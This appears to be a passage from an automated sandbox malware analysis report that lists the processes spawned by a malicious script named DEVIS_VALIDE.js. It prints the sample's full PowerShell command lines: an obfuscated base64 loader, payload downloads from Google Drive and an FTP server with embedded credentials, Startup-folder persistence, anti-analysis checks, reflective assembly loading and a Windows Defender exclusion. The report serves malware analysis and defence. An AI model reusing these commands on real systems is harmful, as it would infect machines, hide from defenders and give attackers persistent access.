                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAHQAcA' + [char]66 + 'XAGsARgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAdA' + [char]66 + 'wAFcAaw' + [char]66 + 'GACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAag' + [char]66 + 'sAGMAcQ' + [char]66 + 'qACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAE8Aag' + [char]66 + 'yAFIAUAAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAE8Aag' + [char]66 + 'yAFIAUAAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'qAGwAYw' + [char]66 + 'xAGoAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQASQ' + [char]66 + 'lAHAARw' + [char]66 + 'RACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgA6AEMAdQ' + [char]66 + 'yAHIAZQ' + [char]66 + 'uAHQARA' + [char]66 + 'vAG0AYQ' + [char]66 + 'pAG4ALg' + [char]66 + 'MAG8AYQ' + [char]66 + 'kACgAIAAkAEYAeQ' + [char]66 + 'mAGQAegAgACkALgAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcARw' + [char]66 + 'lAHQAVA' + [char]66 + '5AHAAZQAoACAAJwAnAEMAbA' + [char]66 + 'hAHMAcw' + [char]66 + 'MAGkAYg' + [char]66 + 'yAGEAcg' + [char]66 + '5ADMALg' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMAMQAnACcAIAApAC4ARw' + [char]66 + 'lAHQATQAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAZQ' + [char]66 + '0AGgAbw' + [char]66 + 'kACgAIAAnACcAcA' + [char]66 + 'yAEYAVg' + [char]66 + 'JACcAJwAgACkALg' + [char]66 + 'JAG4Adg' + [char]66 + 'vAGsAZQAoACAAJA' + [char]66 + 'uAHUAbA' + [char]66 + 'sACAALAAgAFsAbw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAWw' + [char]66 + 'dAF0AIAAoACAAJwAnAGsANw' + [char]66 + 'OAG4ATQ' + [char]66 + 'DAFAAQwAvAHcAYQ' + [char]66 + 'yAC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'uAGkAYg' + [char]66 + 'lAHQAcw' + [char]66 + 'hAHAALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAJwAgACwAIAAnACcAJQ' + [char]66 + 'EAEMAUA' + [char]66 + 'KAFUAJQAnACcAIAAsACAAIAAnACcARAAgAEQARA' + [char]66 + 'SAGUAZw' + [char]66 + '' + [char]66 + 'AHMAbQAnACcAIAAgACkAIAApADsAJwA7ACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAPQAgACgAIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ASQ' + [char]66 + 'PAC4AUA' + [char]66 + 'hAHQAaA' + [char]66 + 'dADoAOg' + [char]66 + 'HAGUAdA' + [char]66 + 'UAGUAbQ' + [char]66 + 'wAFAAYQ' + [char]66 + '0AGgAKAApACAAKwAgACcAZA' + [char]66 + 'sAGwAMAAzAC4AcA' + [char]66 + 'zADEAJwApACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsAcA' + [char]66 + 'vAHcAZQ' + [char]66 + 'yAHMAaA' + [char]66 + 'lAGwAbAAgAC0ARQ' + [char]66 + '4AGUAYw' + [char]66 + '1AHQAaQ' + [char]66 + 'vAG4AUA' + [char]66 + 'vAGwAaQ' + [char]66 + 'jAHkAIA' + [char]66 + 'CAHkAcA' + [char]66 + 'hAHMAcwAgAC0ARg' + [char]66 + 'pAGwAZQAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAOw' + [char]66 + '9ADsA';$jPhaA = $jPhaA.replace('?','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\user\Desktop\DEVIS_VALIDE.js') ;powershell $jPhaA
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:2
                                                                                                                                        Start time:05:06:08
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                        File size:862'208 bytes
                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:3
                                                                                                                                        Start time:05:06:10
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:false

                                                                                                                                        General

                                                                                                                                        Target ID:4
                                                                                                                                        Start time:05:06:16
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                        Reputation:high
                                                                                                                                        Has exited:true

                                                                                                                                        General

                                                                                                                                        Target ID:5
                                                                                                                                        Start time:05:06:17
                                                                                                                                        Start date:20/11/2024
                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                        Commandline:powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                        File size:452'608 bytes
                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                        Has elevated privileges:false
                                                                                                                                        Has administrator privileges:false
